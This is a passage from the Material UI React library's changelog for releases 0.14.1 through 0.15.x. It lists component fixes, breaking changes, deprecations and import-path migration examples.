[TableRowColumn] Tooltip visible with TableRowColumn (#5014)\n- [TextField] Better support for type=search (#4973)\n\n### Docs\n\n- [docs] Fix 404 links (#4998)\n- [examples] Move to own repositories (#4475)\n- [showcase] Add some new projects (#4978, #5119)\n\n### Core\n\n- [Slider] Clean up the implementation (#5036)\n- [test] Reduce the noise when running the test suite (ea2538e)\n\n## 0.15.4\n\n_Aug 11, 2016_\n\n### Component Fixes / Enhancements\n\n- [BottomNavigation] Initial implementation (#4846)\n- [DropDownMenu] Revert the commit causing a regression in 0.15.3 (#f76302e)\n- [Snackbar] Add the material fontFamily (#4892)\n- [ListItem] New property open to toggle nested list (#4850)\n- [Slider] Fix an issue where not updating when max prop changes (#4895)\n- [Slider] Fix more warnings introduced by React v15.3.0 (#4869)\n\n### Docs\n\n- [js] Explain the ECMAScript `stage-1` dependencies of the examples (#4877)\n\n## 0.15.3\n\n_Jul 31, 2016_\n\nThis release is mostly about bug fixes. All the new warnings introduced by React\nv15.2.1 and v15.3.0 should be addressed in this version.\n\n### Breaking Changes\n\n- Remove a workaround regarding the context propagation as it was fixed in the React Core.\n  Upgrade to React v15.2.1 if you are affected. (#4729)\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Add a textFieldStyle property (#4853)\n- [Autocomplete] Call onNewRequest once the animation is done (#4817)\n- [Card] Fix bottom padding (#4820)\n- [Chip] Fix invalid `labelColor` being passed (#4766)\n- [DropDownMenu] Display the first item in case there's no one with the corresponding value (#4822)\n- [FlatButton] Merge styles prop for FontIcon node (#4754)\n- [GridList] Fix RTL alignment (#4833)\n- [List] Prefix the style properties (#1cb0617)\n- [ListItem] Trigger onNestedListToggle callback after state update (#4743)\n- [ListItem] Fix incorrect nestedLevel (#4744)\n- [Menu] TypeError: key is undefined (#4734)\n- [MenuItem] Add cursor pointer back to the menu items (#4715)\n- [Popover] Forward the animation property to this component (#4702)\n- [RadioButtonGroup] Fix propTypes to accept anything (#4807)\n- [RaisedButton] Fix the icon style override (#4f2fd22)\n- [React] Fix more invalid props warning (#4667, #4675, #4685, #4725)\n- [Snackbar] Change the action's PropType to node (#4716)\n- [TextField] False should be a valid value (#4728)\n\n### Core\n\n- [dependencies] Update to the latest release version (#4669)\n- [eslint] Find new rules with ease (#4521)\n- [react] Fix the warnings of the latest release v15.3.0 (#4856)\n\n### Docs\n\n- [ROADMAP] Remove old addressed issues (#4745)\n- [ROADMAP] Update to what the core team is working on (#4829)\n- [docs] Replaces images on Card page with hosted images (#4748)\n- [showcase] Add https://www.spouti.com (#4806)\n\n## 0.15.2\n\n_Jul 7, 2016_\n\nDuring the release of 0.15.1 something went teribly wrong :sweat_smile: and some\ncommits were left out even though they were mentioned in the changelog. This release\nincludes the missing commits and some extra.\n\n### Deperecations\n\n- [Buttons] Deprecate linkButton property (#4197)\n\n### General\n\n- [React] Upgrade React to `v15.2.0` (#4603, #4605, #4607)\n- [Docs] Don't document standard DOM events (#4433)\n- [Form Components] Set `cursor:not-allowed` style when disabled (#4170)\n- [Styles] Upgrade the inline-style-prefixer dependency to v2 (#4613)\n- [Styles] Check for nulls for RTL (#4496)\n\n### Browser support\n\nOur support for IE and Safari improved in this release.\nThanks @vizath, @hhaida, @nathanmarks and @aahan96 for their effort.\n\n### Component Fixes / Enhancements\n\n- [AppBar] Improve props checking to be more resilient (#4557)\n- [Autocomplete] Use the right dataSource key (#4642)\n- [Badge] Fixed incorrect color usage (primary/accent were swapped) (#4449)\n- [Button] Never allow a disabled button to be in a hovered state (#4626)\n- [Button] Improve the propType definition for the label (#4618)\n- [Chip] Add to the index (#4570)\n- [ClickAwayListener] Add better support for IE11 (#4537)\n- [DatePicker] Expose dialog container style (#4355)\n- [DatePicker] Fix year overflow (#4381)\n- [DropDownMenu] Remove Synthetic Event from pooling when used asynchronously (#4564)\n- [EnhancedButton] Fix href style (#4457)\n- [FlatButton] Add a condition to check for zero in the label warning (#4618)\n- [LinearProgress] Fix calculating of getRelativeValue (#4624)\n- [ListItem] Fix error with props access in state assignment for ie9/10 (#4596)\n- [ListItem] Make the dark theme follow more closely the material spec (#4530)\n- [MenuItem] Allow styles on lefticon in non-desktop mode (#4474)\n- [RadioButton] Changed the value type to any (#4510)\n- [RadioButtonGroup] Fix error with props access in state assignment for ie9/10 (#4596)\n- [RaisedButton] Fix the `fullWidth` regression (#4479)\n- [RenderToLayer] Fix an internal issue with React (#4548)\n- [SelectField] Make the maxHeight prop to pass down to DropDownMenu (#4645)\n- [Slider] Add a sliderStyle property (#4617)\n- [Slider] Add support for vertical/reversible sliders (#4571)\n- [Stepper] Fix transition bug in safari (#4616)\n- [SvgIcon] Add support for color attribute (#4487)\n- [SvgIcon] Add themeable color (#4621)\n- [SvgIcon] Remove unused style assignment (#4486)\n- [TextField] Keep spreading properties when children is set (#4478)\n- [TextField] Fix multi-line overflow (#4634)\n\n## 0.15.1\n\n_Jun 16, 2016_\n\n### Breaking Changes\n\n- [Avatar] Now uses `img` instead of `div` (#4365)\n- [DatePicker] `className` prop is now set on the root element instead of being passed down (#4250)\n- [Drawer] Changed muiTheme key name from navDrawer to drawer (#4198)\n- [SelectField] Move {...other} spread props from DropDownMenu to Textfield as part of (#4392)\n\n### New Component\n\n- [Chip] First implementation (#3870)\n\n### General\n\n- [Examples] Simplify the examples (#4262)\n- [Core] Upgrade EventListener dependency (#4162)\n- [Core] Upgrade some npm dependencies (#4306)\n- [Core] Remove react-addons-update dependency (#3946)\n- [Core] Move to the normal lodash (#4380)\n- [Docs] Use `copy-webpack-plugin` for dev (#4201)\n- [Icon Builder] Add muiName to generated SvgIcons (#4188, #4206)\n- [Icon Builder] Fix SvgIcon require path to icons generated with --mui-require absolute (#4204)\n- [Themes] Fix MuiThemeProvider default theme (#4229)\n- [withWidth] Accept width optional parameter (#4416)\n- [eslint] Add a mocha plugin to enforce good practices (#4424)\n\n### Component Fixes / Enhancements\n\n- [AppBar] Add `iconStyleLeft` prop (#4266)\n- [AppBar] Fix a styling regression (#4471)\n- [Autocomplete] Add text and value field keys for objects list dataSource (#4111)\n- [Autocomplete] Fix filter property leaking (#4209)\n- [Autocomplete] Fix first item selection on keyboard focus (#4193)\n- [Autocomplete] Use sublime text like search instead of Levenshtein Distance for fuzzy search (#4164)\n- [Avatar] Fix a layout regression (#4409)\n- [Avatar] Remove the border (#4365)\n- [Button] Save some bytes on the production build (#4346)\n- [DatePicker] Added className prop to DatePicker (#4250)\n- [DatePicker] Fix layout when used with border-box (#4454)\n- [DatePicker] Fix the issue about onDismiss function will fire by handleTouchTapOk (#4367)\n- [DatePicker] Fix `weekTitleDayStyle` (#4464)\n- [Drawer] Fix muiTheme key name (#4198)\n- [DropDownMenu] Add an animated property (#4442)\n- [DropDownMenu] Add check if there is onChange prop before calling it (#4328)\n- [EnhancedButton] Fix not setting focus when keyboardFocused prop set (#4122)\n- [FlatButton] Fix Icon color prop issue (#4160)\n- [FloatingActionButton] Fix SvgIcon fill color (#4311)\n- [FontIcon] Prevent parent components from overriding icon's `color` property (#4025)\n- [IconMenu] Add an animated property (#4442)\n- [ListItem] Fix theme not propagating on update (#4372)\n- [Menu] Add basic hotkey-focusing feature (#4189)\n- [Menu] Fix theme not propagating on update (#4372)\n- [MenuItem] Fix theme not propagating on update (#4372)\n- [Picker] Disable userSelect on TimePicker and DatePicker (#4176)\n- [Pickers] Add some test regarding the expect value property (#4347)\n- [Popover] Fix typo from innerWith to innerWidth (#4332)\n- [RaisedButton] Don't override SvgIcon color prop (#3746)\n- [RaisedButton] Respect theme fontSize (#3988)\n- [RenderToLayer] Cleanup (#4423)\n- [SelectField] Add callback signatures to docs and improve other props (#3924)\n- [SelectField] Add support for `floatingLabelFixed` prop (#4392)\n- [SelectField] Fix errorText position when no value selected (#4394)\n- [Snackbar] Add a new test and fix consecutive updates leading to displaying old message (#4329)\n- [Stepper] Add more tests and fix an issue with `StepButton` event handlers (#4203)\n- [Stepper] Fix vertical stepper on mobile (#4299)\n- [Tabs] Fixes tabindex (#4357)\n- [TextField] Fix `floatingLabelText` intercepting click events (#4418)\n- [Timepicker] Add explicit box-sizing to Clock component (#4386)\n- [TimePicker] Expose two TimePickerDialog style props (#4356)\n- [TimePicker] Fix auto reset of time on window resize (#4251)\n- [TimePicker] Remove some dead code (#4289)\n\n### Deperecations\n\n- [SelectField] Deprecate selectFieldRoot prop and replace with menuStyle (#4394)\n\n## 0.15.0\n\n_May 5, 2016_\n\nPlease read through the alpha and beta releases of 0.15.0 too as their changes are not listed here.\n\n### General\n\n- [Core] Add a `withWidth` HOC (#4126)\n- [Core] Use named imports for createClass, Component & PropTypes (#4058)\n- [Core] Update dependencies and remove a couple of unneeded (#4107)\n- [eslint] Use the js format instead of the yaml one (#4074)\n- [codemod] Improve the path migration (#4069)\n- [codemod] Add a babel transpilation for npm (#4115)\n- [Tests] Refactor karma tests, add JSDOM for node tests and improve coverage (#4102)\n- [Tests] Add basic README for test setup (#4106)\n- [colorManipulator] Prevent illegal color values (#3989)\n- Added the following ESLint rules:\n  1. Enforce `jsx-first-prop-new-line` (#4112)\n  1. Enforce `react/prefer-es6-class` (#4126)\n\n### Component Fixes / Enhancements\n\n- [Avatar] Fix icon size issue for non-default Avatar size (#4148)\n- [Buttons] Address various browser compatibility issues (#4108)\n- [Buttons] Fixed alignment related regressions (#4130)\n- [Card] Add `containerStyle` prop (#4085)\n- [CircularProgress] Fix for Android (#4026)\n- [DatePicker] Add support for built-in en-US locale (#4161)\n- [Datepicker] Redesign datepicker as per material spec (#3739)\n- [Dialog] Stop mixing `padding` and `paddingTop` (#4082)\n- [EnhancedButton] Fix keyboard focus jumping (#4127)\n- [Slider] Fix Slider div style (#4087)\n- [TextField] Add `floatingLabelFocusStyle` property (#4043)\n\n### Deprecations\n\n- [styleResizable] This mixin has been deprecated in favor of `withWidth` HOC (#4126)\n\n## 0.15.0-beta.2\n\n_Apr 21, 2016_\n\n### General\n\n- [.gitignore] Ignore `jsconfig.json` - VS Code config file (#4011)\n- [Docs] Update usage docs with muiTheme instructions (#4034)\n- [Docs] Add beta installation details to the README (#4048)\n- [Examples] Update import statements (#3992)\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Change `error`, `hint`, `floatingLabel` property validators to `PropTypes.node` (#4019)\n- [Dialog] Add border to title and actions when content is scrollable (#4001)\n- [Dialog] Add support for the Alert (#4022)\n- [Dialog] Merge title style when title it a node (#4033)\n- [ListItem] Fix flexbox shrinking [issue](#4016) (#4044)\n- [Menu] Fix regression that caused nested menus to be unreachable (#3947)\n- [RaisedButton] fix hover overlay for icon only buttons, fixes #3815 (#4035)\n- [RefreshIndicator] Fix timer leaks (#3986)\n- [SelectField] Fix server-side rendering (#4004)\n- [Tab] Fix the justify content when there is only one child (#4023)\n\n### Deprecations\n\n- [List] Deprecate the `valueLink` property (#3936)\n\n## 0.15.0-beta.1\n\n_Apr 13, 2016_\n\n### React 15 compatibility 🎉 🎉\n\nThis release also ensures compatibility with React 15. You should update to\nthis version if you need it.\n\n### Simplify import statements 🎉\n\nThis release changes how components are imported. You will need to update every\nimport statement, Like:\n\n```js\nimport RaisedButton from 'material-ui/lib/raised-button';\nimport Tabs from 'material-ui/tabs/tabs';\nimport Tab from 'material-ui/tabs/tab';\n```\n\nto:\n\n```js\nimport RaisedButton from 'material-ui/RaisedButton';\nimport { Tabs, Tab } from 'material-ui/Tabs';\n```\n\nThe exact import statements for each component can be found in their respective\ndocumentation page.\n\nHave a ton of imports? almost had a heart attack? worry not, we also made a tool\nto ease your pain. checkout the\n[readme](https://github.com/mui/material-ui/tree/master/packages/material-ui-codemod/README.md).\n\n### Breaking Changes\n\n- [Core] Improve import path for published lib (#3921)\n- [Core] PascalCase component names, reorganise directory structure (#3749)\n- [Core] Remove default theme handling from components (#3820)\n\nAs of now you will need to provide theme on context, see:\nhttps://v0.mui.com/#/customization/themes\n\n- [Core] Removed redundant default export from the main library `index.js`.\n\nYou will probably need to turn\n\n```js\nimport Mui from 'material-ui';\n```\n\ninto\n\n```js\nimport * as Mui from 'material-ui';\n```\n\nAlthough we discourage you to use this library like that.\n\n- [LeftNav] Rename to Drawer (#3799)\n- [GridList] Replace `rootClass` with `containerElement` (#3783) (`rootClass` was broken before this change)\n- [Core] These changes are for internal modules and will affect you only if they were directly required in your code\n  1. Rename utils/children.js (#3779)\n  1. Remove unused utils/keyLine.js (#3837)\n  1. Remove cssEvent util (#3836)\n  1. Remove utils/shallowEqual.js and replace with recompose (#3835)\n  1. Move DateTime utils to component directories (#3834)\n\n### General\n\n- [Core] Update to React v15 (#3941) 🎉 🎉\n- [Core] Remove dependency on lodash.flowright (#3955)\n- [Core] update components to es6 classes (#3843) 🎉 🎉\n- [Core] Add a `material-ui-codemod` package (#3782)\n- [Core] Update export syntax, move unit tests, update test dependencies (#3785)\n- [Core] Use .js extension instead of .jsx (#3765)\n- [Themes] colorManipulator cleanup (#3966)\n- [SvgIcon] Add the new Material Icons (#3747)\n- [Docs] Add example for slider showing how to access value (#3892)\n- [Docs] Document callback signatures ( Thanks to @theosherry )\n  - [IconMenu](#3732)\n  - [LeftNav](#3743)\n  - [List](#3748)\n  - [ListItem](#3748)\n  - [Popover](#3796)\n  - [RadioButton](#3797)\n  - [Menu](#3821)\n  - [MenuItem](#3821)\n  - [RaisedButton](#3839)\n- Added the following ESLint rules:\n  1. Enforce `jsx-handler-names` (#3408)\n  1. Enforce `spaced-comment` (#3910)\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Add `onKeyDown` property (#3853)\n- [Autocomplete] Fix the regressions (#3858)\n- [Avatar] Use semi-transparent border (#3859)\n- [DatePicker] ok/cancel labels in date pickers should be of PropTypes.node (#3869)\n- [DropDownMenu] Fix support for autoWidth and custom width (#3823)\n- [DropDownMenu] Slightly improve performance (#3707)\n- [FloatingActionButton] fixed an error when element gets focus via tab (#3885)\n- [IconButton] Fix tooltip on hover (#3878)\n- [IconMenu] Removed props.ref call (#3913)\n- [LinearProgress] Prevent instances from sharing state (#3763)\n- [ListItem] Change color of rightIcon from `grey400` to `grey600` (#3938)\n- [ListItem] Fix duplicate prepareStyles with primaryText element (#3174)\n- [ListItem] Use the new icons to follow the material spec (#3899)\n- [MenuItem] Revert flex props from #3597, fixes #3845, reopens #3531 (#3928)\n- [Overlay] Split out AutoLockScrolling (#3690)\n- [Popover] Fix rendering for nested Menus (#3806)\n- [RaisedButton] Fix for Uncaught `TypeError` when tabbing onto button (#3897)\n- [Stepper] Refactor Stepper (#3903)\n- [Tab] Change the ripple color to follow the spec (#3857)\n- [Tab] Fix centering for label with SvgIcon (#3697)\n- [TableHeaderColumn] Remove props.key calls (#3918)\n- [TableRowColumn] Remove props.key calls (#3918)\n- [Tabs] Better type checking on Tab children (#3750)\n- [TextField] Fix incorrect state in getStyles() (#3972)\n- [TimePicker] Add disabled property with example (#3778)\n- [TimePicker] Fix label for 12AM as per material spec (#3781)\n- [TimePicker] ok/cancel labels in time pickers should be of PropTypes.node (#3869)\n\n## 0.15.0-alpha.2\n\n_Mar 18, 2016_\n\n### Breaking Changes\n\n- [Core] if you used Material UI from npm in CommonJS environment,\n  you need to add `.default` to your requires (#3648):\n\n```diff\n- const MaterialUI = require('material-ui');\n+ const MaterialUI = require('material-ui').default;\n```\n\nIf you used ES modules, you're already all good:\n\n```js\nimport MaterialUI from 'material-ui'; // no changes here :D\n```\n\n- [Core] Remove uniqueId utils (#3538)\n- [Styles] RaisedButton, FlatButton, and FloatingActionButton now properly use primary/secondary colors (#3513)\n- [Menu] Remove Paper (#3559)\n- [List] Remove Paper (#3612)\n- [TextField] Remove `valueLink` (#3699)\n\n### New Component\n\n- [Stepper](#3132) ( Big Thanks to @namKolo )\n\n### General\n\n- [Core] Remove gulp in favour of npm scripts for linting (#3626)\n- [Core] Update `package.json` to prevent building the `lib` after install (#3632)\n- [Docs] Hide internal properties of `MenuItem`, `Table` and `Tabs` in docs (#3589)\n- [Docs] Document `Card` subcomponent properties (#3621)\n- [Docs] Add return types (#3542)\n- [Docs] Add support for multi-line function (#3570)\n- [Docs] Document callback signatures ( Thanks to @theosherry )\n  - [Autocomplete](#3550)\n  - [Card](#3552)\n  - [Checkbox](#3607)\n  - [DatePicker](#3652)\n  - [DropDownMenu](#3615)\n  - [FlatButton](#3676)\n  - [FloatingActionButton](#3683)\n  - [FontIcon](#3693)\n  - [IconButton](#3709)\n- [Tests] Add mocha grep passthrough for browser tests (#3520)\n- [Tests] Add `EnhancedButton` unit test and tweak karma config (#3512)\n- [Tests] Add `FlatButton` unit test (#3541)\n- [Tests] Add `Divider` unit test (#3527)\n- [Tests] Add `Paper` unit tests (#3528)\n- [Tests] Add `Slider` unit tests (#3688)\n- [IconBuilder] Move to packages directory (#3680)\n- Added the following ESLint rules:\n  1. Enforce `operator-linebreak` (#3516)\n  1. Enforce `no-multiple-empty-lines` (#3516)\n  1. Enforce `@ignore` before comment (#3611)\n\n### Component Fixes / Enhancements\n\n- [AppBar] Fix the title height variation (#3509)\n- [Autocomplete] Add key support for `dataSource` (#3662)\n- [Autocomplete] Fix browser compatibility (#3581)\n- [Autocomplete] Fix `openOnFocus` and item click (#3669)\n- [Autocomplete] Proxy focus and blur calls (#3551)\n- [Autocomplete] Set `canAutoPosition` to `false` for `Popover` (#3620)\n- [CardHeader] Handle wide titles, allow them to wrap (#3503)\n- [CardHeader] Remove `title` from injected node attributes (to avoid native tooltip) (#3534)\n- [DatePicker] Add a check to fetch current system date (#3656)\n- [DatePicker] Fix cursor pointer of the header (#3598)\n- [DatePicker] Fix selectYear range (#3496)\n- [DatePicker] Use popover for the inline mode (#3532)\n- [EnhancedButton] fix `onKeyboardFocus` being called with nullified event object (#3616)\n- [EnhancedSwitch] Remove the uniqueId as it unused (#3592)\n- [FlatButton] Fix icon alignment when no label provided (#3529)\n- [FlatButton] Fix icon styling when no label provided (#3502)\n- [FlatButton] Fix the text align issue (#3727)\n- [IconButton] Expose `disableTouchRipple` (#3659)\n- [IconMenu] Add missing default iconStyle (#3514)\n- [IconMenu] Set container as `anchorEl` when using prop 'open' (#3666)\n- [ListItem] Add stopPropagation in touch ripple to avoid touch event bubbling (#3593)\n- [MenuItem] Add flex property (#3597)\n- [Popover] Avoid nested `<noscript/>` (#3647)\n- [RaisedButton] Account for `backgroundColor` prop which was previously ignored (#3515)\n- [RaisedButton] Fix styling issues (#3479)\n- [RaisedButton] Fix the text align issue (#3727)\n- [Slider] Add keyboard support (#3237)\n- [Snackbar] Make on request close optional (#3560)\n- [Tab] Fix `style` prop being ignored (#3608)\n- [TableRowColumn] Propagate events (#3492)\n- [TextField] Add `floatingLabelFixed` property (#3646)\n- [TextField] Add `shouldComponentUpdate` function (#3673)\n- [TextField] Add the ability to call select (#3287)\n- [TextField] Fix `defaultValue` overlays `floatingLabelText` on mount (#3450)\n- [TextField] Standardize onChange callback (#3699)\n- [TimePicker] Reinstate #3030 - Add support for custom button labels (#3148)\n- [TimePicker] Remove a useless div element (#3591)\n- [Toolbar] Fix existing design flaws by using flex (#3548)\n\n### Deprecations\n\n- [DatePicker] Deprecate `wordings` with `cancelLabel` and `okLabel` (#3412)\n\n## 0.15.0-alpha.1\n\n_Feb 27, 2016_\n\nThis release includes huge improvements to the implementation\nof components and utility modules. The most important improvement\nis the removal of mixins from the library, thanks to the\n[great efforts](https://github.com/mui/material-ui/pulls?utf8=%E2%9C%93&q=is%3Apr+is%3Aclosed+author%3Anewoga+style-propable)\nof @newoga :+1:\n\nThere are also improvements to the unit testing infrastructure. We own this\ngreat improvement to @nathanmarks, thanks a lot :+1:.\n\nPlease note that `raw-themes` are deprecated with no warning! they will be removed\nfrom the code with the 0.16.0 release.\n\n### Breaking Changes\n\n- [Cleanup] Remove the deprecated API of `0.14.x`. (#3108)\n- [Styles] Removed all `getStyles` functions from the components (#3351)\n- [Core] Remove the `window-listenable` mixin (#3334)\n- [Core] Remove `context-pure` mixin (#3331)\n- [Core] Remove `click-awayable` mixin (#3360)\n- [Core] Utilize keycode library and remove `key-code` util (#3371)\n- [FloatingActionButton] `className` is now set on the root element (#2310)\n- [RaisedButton] `className` is now set on the root element (#3122)\n- [LeftNav] `className` and `style` are now set on the root element (#3322)\n- [Colors] Removed default export in favor of singular exports (#2825) <br>\n  **Note** This can be temporarily worked around by changing <br>\n  `import Colors from 'material-ui/lib/styles/colors';` <br> to <br>\n  `import * as Colors from 'material-ui/lib/styles/colors';`.\n- [DatePicker] Standardize for ISO8601. (#3417)\n\n### New Component\n\n- [Subheader](#3033) (Thanks to @pradel)\n\n### General\n\n- [Tests] Updates to test setup and additional testing option for unit tests (#3405)\n- [Tests] Add support for codecov (#3421)\n- [Tests] Badge unit tests (#3427) (Thanks to @pradel)\n- [Tests] AppBar unit tests (#3487) (Thanks to @pradel)\n- [Tests] GridList unit tests (#3488) (Thanks to @pradel)\n- [Tests] SvgIcon unit tests (#3489) (Thanks to @pradel)\n- [Tests] FontIcon unit tests (#3490) (Thanks to @pradel)\n- [Theme] Apply overall themeing improvements (#3267, #3316, #3340, #3399)\n- [Style] Fix the prefixer tool regression (#3136)\n- [Style] Make some unthemeable elements themeable (#3269) (Thanks to @pdf)\n- [Style] Fix tap highlight color (#3429)\n- [Core] Replace merge implementation in utils/styles with Object.assign (#3124)\n- [Core] Remove dependency on utils/styles from components (#3169)\n- [Core] Remove style-propable mixin from components (#2852)\n- [Core] Remove `window-listenable` mixin from components (#3305) (Thanks to @newoga)\n- [Core] Typography moved inside muitheme (#3301)\n- [Core] Update lodash version to 4.1.0 (#3324)\n- [Core] Migrate color to muiTheme (#3314)\n- [Core] Remove usage of `isMounted()` (#3437)\n- [Docs] Add page title (#3246)\n- [Docs] DatePicker - Add disabled dates example (#3167)\n- [Docs] Upgrade dependencies (#3343)\n- [Docs] Enable GPU rasterization (#3451)\n- [Docs] Add versions to docs site (#3383)\n- [eslint] Upgrade to v2 (#3390)\n- Added the following ESLint rules:\n  1. Enforce `arrow-parens` (#3207)\n  1. Enforce `prefer-template` (#3208, #3242)\n  1. Enforce `no-unneeded-ternary` (#3320)\n  1. Enforce `prefer-const` (#3315)\n  1. Enforce `jsx-space-before-closing` (#3397)\n  1. Enforce `id-blacklist` and blacklist `e` (#3398)\n  1. Enforce `padded-blocks: never` (#3493)\n\n### Component Fixes / Enhancements\n\n- [Autocomplete] Added `maxSearchResults` property (#3262)\n- [Autocomplete] Apply the style property only on the root component (#3243)\n- [Autocomplete] Apply various improvement (#3214) (Thanks to @oliviertassinari)\n- [Autocomplete] Disable browser default autocomplete popup (#3253)\n- [Autocomplete] Fix the focus / blur issue (#3356) (Thanks to @oliviertassinari)\n- [Card] Removed hidden overflow (#3447)\n- [Card] Support for controlled expansion (#3258) (Thanks to @cgestes)\n- [CardActions] Allow to accept false as child (#3215)\n- [Checkbox] Disabled style error fix (#3432)\n- [DatePicker] Default to ISO-8601 DateTimeFormat & `firstDayOfWeek` (#3417)\n- [Dialog] Fix overflow (#3460)\n- [DropDownMenu] Expose Menu listStyle property (#3294)\n- [DropDownMenu] Fix `openImmediately` regression (#3384)\n- [DropDownMenu] Safari select-field fix (#3175)\n- [EnhancedButton] Fix enhanced buttons containing a link instead of a button (#3303)\n- [EnhancedSwitch] Added inputStyle prop to enhanced switch (#1693)\n- [EnhancedTextArea] Provide various style fixes (#3277)\n- [FlatBotton] Fix alignment between text and icons (#3380)\n- [FloatingActionButton] Expose Paper zDepth (#3387)\n- [IconButton] Fixed tooltip for disabled component (#3458)\n- [IconButton] Fixed tooltip ripple size for IE (#3016)\n- [IconMenu] Document `multiple` property of Menu (#3223)\n- [IconMenu] Enable `useLayerForClickAway` (#3400)\n- [IconMenu] Support MenuItem nested menuItems (#3265)\n- [InkBar] remove `&nbsp;` (#3283)\n- [LeftNav] Add a configurable zDepth (#3495)\n- [LeftNav] Add iOS momentum scroll (#2946)\n- [List] Fix issue with styling on list related components (#3278)\n- [ListItem] Fix hardcoded `secondaryTextColor` (#3288)\n- [Menu] Fix `_isChildSelected` child not recognising first child (#3165)\n- [Menu] Fix a regression that would apply the select style to all the MenuItems (#3244)\n- [Menu] Safari select-field fix (#3175)\n- [Popover] Handle the touch event on touch enabled devices (#3389)\n- [RadioButton] Allow customising icons (#3285)\n- [RaisedButton] Customizable ripple effect style (#3368)\n- [RaisedButton] Fix alignment between text and icons (#3366)\n- [Slider] Remove style-propable mixin and react-dom (#3332) (Thanks to @felipethome)\n- [SvgIcon] Fix behavior for `onMouseEnter` and `onMouseLeave` (#3481)\n- [SvgIcon] Use stateless functional component instead of `React.createClass` (#3326)\n- [Table] Send event object after click, hover, hoverOut on cell (#3002)\n- [TextField] Add textareaStyle property (#3238)\n- [TextField] Fix defaultValue behavior (#3239)\n- [TextField] Fix wrong label id (#3240)\n- [TextField] Fixed a bug where clicking on floating label and typing simultaneuosly loses keypress (#3055)\n- [TextField] Fixed ie9-ie10 click focus problem (#3193)\n- [TimePicker] Update time state on new defaultTime prop (#3095)\n- [Toggle] Fixes styling issue (#3299)\n- [ToolbarTitle] Fix overflow (#3250)\n- [TouchRipple] Abort on scroll (#3407)\n\n### Deprecations\n\n- [Menu] Deprecated built in `animated` (#3216)\n- [Core] Deprecated `style-propable` mixin and `utils/styles` (#3351)\n- [Core] Deprecated `ThemeDecorator` in favor of `MuiThemeProvider` (#3267)\n- [Core] Deprecated `theme-manager` and `raw-themes` (#3267)\n\n## 0.14.4\n\n_Feb 02, 2016_\n\n### General\n\n- [CRITICAL] Fixed a regression that completely disabled the auto-prefixer (#3142)\n- [Core] Implements prepareStyles as composition of functions in muiTheme (#2986) (Thanks to @newoga)\n- [Docs] Contributing guide (#3075)\n- [Docs] Added a `Related Projects` section (#3102)\n- [Examples] General updates (#3078)\n\n### Component Fixes / Enhancements\n\n- [Tabs] Removed the calc style property (#3058)\n- [Tabs] Added icon and text (#3042)\n- [Tabs] Use `FlatButtons` for tabs (#3051)\n- [Autocomplete] Fixed regression of undefined muiTheme (#3069)\n- [List] Auto-expand SelectableList (#3039)\n- [DatePicker] Added `disabled` property (#3060)\n- [Buttons] Fixed the vertical alignment issue (#3100)\n- [RaisedButton] Fix the default value of `labelPosition` (#3115)\n- [FlatButton] Fix the default value of `labelPosition` (#3115)\n\n## 0.14.3\n\n_Jan 26, 2016_\n\n### Breaking Changes\n\nNote that these are not essentially breaking changes.\nUnless you have used these implementation details in your code.\n\n- [Internal] Remove `controllable.js` mixin (#2889)\n- [Internal] Remove `mergeAndPrefix()` (#2886)\n- [Internal] Remove `utils/extend.js` (#2933)\n- [Internal] Remove `utils/immutability-helper.js` (#2907)\n\n### General\n\n- [Examples] Move `DateTimeFormat` polyfill to the example (#3024)\n- [Docs] Add title and description to code examples, thanks to @mbrookes's hard work (#2927)\n- [Docs] Add a showcase section (#2910)\n- [Docs] Hide code examples by default (#2911)\n- [Docs] Add [Cloudcraft](https://cloudcraft.co/) to Showcase (#3036)\n- [Docs] Migrated the following pages to use the new documentation standard:\n  1. [TimePicker](#2849)\n  1. [Table](#2848)\n  1. [Switches](#2872)\n  1. [Buttons](#2874)\n  1. [Autocomplete](#2871)\n  1. [Popover](#2870)\n  1. [IconMenu](#2882)\n- Added the following ESLint rules:\n  1. Extend `eslint:recommended` (#2854)\n  1. `one-var` (#2855)\n  1. `brace-style` (#2855)\n  1. `react/jsx-pascal-case` (#2953)\n  1. `react/jsx-max-props-per-line` (#2953)\n  1. `react/jsx-closing-bracket-location` (#2953)\n  1. `jsx-equals-spacing` (#3035)\n- [Performance] Fix V8 deopt, leakage of `arguments` (#2876)\n- [ServerSideRendering] Make userAgent contextual (#3009)\n\n### Component Fixes / Enhancements\n\n- [Slider] Avoid selection when dragging (#2827)\n- [Snackbar] Execute onDimiss callback after snackbar has closed (#2881)\n- [Table] Don't use `for...of` on table children (#2904)\n- [RenderToLayer] Fix leaking of event (#2935)\n- [FlatButton] Fix shared memory property modification (#2964)\n- [DatePicker] Add `firstDayOfWeek` and days abbreviations (#2899)\n- [ListItem] Added nestedItemStyle prop (#2990)\n- [ListItem] when disabled, `className` is ignored (#2723)\n- [EnhancedButton] Make keyup event respect `disableKeyboardFocus` (#3000)\n- [Dialog] Fix overlay scroll for nested dialogs (#2893)\n- [SvgIcons] Remove fill attributes (#3034)\n- [Paper] Allow the box shadow color to be changed (#3003)\n\n### Deprecations\n\n- [DropDownIcon] Will be removed with `0.15.0` (#2994)\n\n## 0.14.2\n\n_Jan 08, 2016_\n\n### General\n\n- [CRITICAL] Fix imports using require() style syntax (#2804) thanks @newoga\n- [Examples] Upgrade to babel 6 for browserify (#2795)\n- [Docs] Migrated the following pages to use the new documentation standard:\n  1. [RefreshIndicator](#2799)\n  1. [Icon](#2695)\n  1. [Lists](#2782)\n  1. [Progress](#2798)\n  1. [Sliders](#2800)\n  1. [Paper](#2797)\n  1. [Menus](#2785)\n- Added the following ESLint rules:\n  1. `react/jsx-indent` (#2808)\n\n### Component Fixes / Enhancements\n\n- [DatePicker] Update slide direction (#2791)\n- [Autocomplete] Add 2 extra filters for text matching (#2755)\n- [TableRow] Fix row height in IE (#2812)\n\n## 0.14.1\n\n_Jan 05, 2016_\n\n### General\n\n- Upgrade to babel v6 (#2620, #2709)\n- [Docs] Improve the performance of the production build (#2680)\n- [Docs] Improve the AppLeftNav for mobile (#2690)\n- [Docs] Use a single LeftNav (#2721)\n- [Docs] Migrated the following pages to use the new documentation standard:\n  1. [DatePicker](#2622)\n  1. [GridList](#2681)\n  1. [SelectField](#2694)\n  1. [IconButton](#2700)\n- Added the following ESLint rules:\n  1. react/sort-comp (#2774, #2776)\n\n### Component Fixes / Enhancements\n\n- [MenuItem] Fix icon position (#2661)\n- [SelectableList] Recursively extend children (#2320)\n- [SelectField] 